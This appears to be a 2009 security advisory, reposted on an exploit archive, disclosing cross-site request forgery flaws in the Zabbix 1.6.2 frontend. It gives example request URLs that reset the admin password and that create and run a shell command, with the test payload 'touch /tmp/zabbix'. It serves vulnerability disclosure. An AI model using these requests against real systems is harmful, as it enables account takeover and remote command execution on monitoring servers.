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Zabbix 1.6.2 Cross Site Request Forgery

Zabbix 1.6.2 Cross Site Request Forgery
Posted Mar 31, 2009
Authored by Adam Baldwin

Zabbix version 1.6.2 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | 8ee865f64b5fc17f842d58dc0c0d58f823ba5646c8e910c5bf3f2f0715f41ee8

Zabbix 1.6.2 Cross Site Request Forgery

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nGenuity Information Services - Security Advisory

Advisory ID: NGENUITY-2009-006 - Zabbix Multiple Frontend CSRF
Application: Zabbix 1.6.2
Vendor: Zabbix
Vendor website: http://www.zabbix.com
Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

I. BACKGROUND
"ZABBIX is an enterprise-class open source distributed monitoring solution." [1]

II. DETAILS
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities exist that can allow for the following
attack scenarios to be executed should an administrator with a valid session visit a malicious page
or url.

1. Reset admin password
2. Execution of shell commands

Reset Admin Password:
Zabbix does not validate a users old password before the new password is set using a request
similar to the below request. Some of the parameters are not required for the request to be
valid.

Example: http://example.com/zabbix/profile.php?autologout=900&change_password=Change%20password
&config=0&form=1&form_refresh=2&lang=en_gb&password1=aaaaaa&password2=aaaaaa&refresh=30
&save=Save&theme=default.css&url=&userid=1

Execution of Shell Commands:
A two staged approach is required to execute arbitrary shell commands. First the custom command to
be executed has to be created and then that command has to be executed. Below is an example of how
these requests could be executed.

Example: Setting the command
http://example.com/zabbix/scripts.php?action=1&access=2&command=touch%20/tmp/zabbix&form=1
&form_refresh=1&form_refresh=1&groupid=0&name=Ping&save=Save&scriptid=1&usrgrpid=0

Example: Executing the command
http://example.com/zabbix/scripts_exec.php?execute=1&hostid=10017&scriptid=1

III. REFERENCES
[1] - http://www.zabbix.com

IV. VENDOR COMMUNICATION
3.22.2009 - Vulnerability Discovery
3.23.2009 - Vendor response. Fixed in 1.6.3 (unconfirmed)

Copyright (c) 2009 nGenuity Information Services, LLC
http://www.ngenuity.org/wordpress/2009/03/30/ngenuity-2009-006-zabbix-multiple-frontend-csrf/


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